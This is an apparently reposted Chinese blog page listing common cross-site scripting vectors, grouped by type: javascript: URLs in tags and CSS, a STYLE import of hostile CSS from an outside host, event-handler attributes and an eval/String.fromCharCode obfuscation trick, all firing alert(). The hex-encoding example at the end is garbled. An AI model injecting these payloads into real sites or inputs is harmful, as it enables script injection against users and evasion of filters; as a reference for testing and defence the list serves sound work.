zoukankan      html  css  js  c++  java
  • 常见的javascript跨站

    第一类:

    <img src=javascript:alert() />

    <iframe src=javascript:alert()></iframe>

    <script src=javascript:alert()></script>

    第二类:

    <div style=background-image:url(javascript:alert())>

    <img style=background-image:url(javascript:alert())>

    <b style=background-image:url(javascript:alert())>

    用STYLE标签引用其他网站上的css文件

    <STYLE>@import'http://xxx.xom/xss.css';</STYLE>

    css文件里包含跨站程序

    body{

    background-image:url('javascript:alert();');
    }

    第三类:

    <table background=javascript:alert()></table>

    <body background=javascript:alert()></body>

    第四类:

    <div onmouseenter=alert()>鼠标进入本区域执行Javascript</div>

    <div onmouseleave=alert()>鼠标离开本区域执行Javascript</div>

    <div onmousewheel=alert()>鼠标在选区滚轮时执行Javascript</div>

    <div contentEditable="true" onfocusin=alert()>获得焦点执行Javascript</div>

    <div contentEditable="true" onfocusout=alert()>失去焦点执行Javascript</div>

    <marquee onstart=alert()>每次显示滚动内容执行Javascript</marquee>

    <img src="" onerror=alert('加载图片错误执行代码')>

    <img src="" onclick=alert('单击图片执行代码')>

    <img onmouseover=alert('鼠标经过图片执行代码')>

     

    <img style=background-image:url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,41)))>

    将要执行的代码“alert()”转换为十进制的ASCII码,其间用逗号隔开,再用String.fromCharCode解码,最后用eval执行

     

    还可以进行十六进制的处理:

    <img style=background-image:url(javascript:alert()>

  • 相关阅读:
    设计模式(一)基础面向对象
    面试题之三门问题
    「巫师3(The Witcher 3:Wild Hunt)」游戏测评
    欧拉角和四元数
    struts标签遍历各种list Map
    浅谈HtmlCleaner+XPath解析html或者xml
    hadoop简单例子
    解决JSP参数传递乱码的问题
    Set、List、Map的区别(浅谈)
    做个犀利的码农
  • 原文地址:https://www.cnblogs.com/jing-tian/p/11125300.html
Copyright © 2011-2022 走看看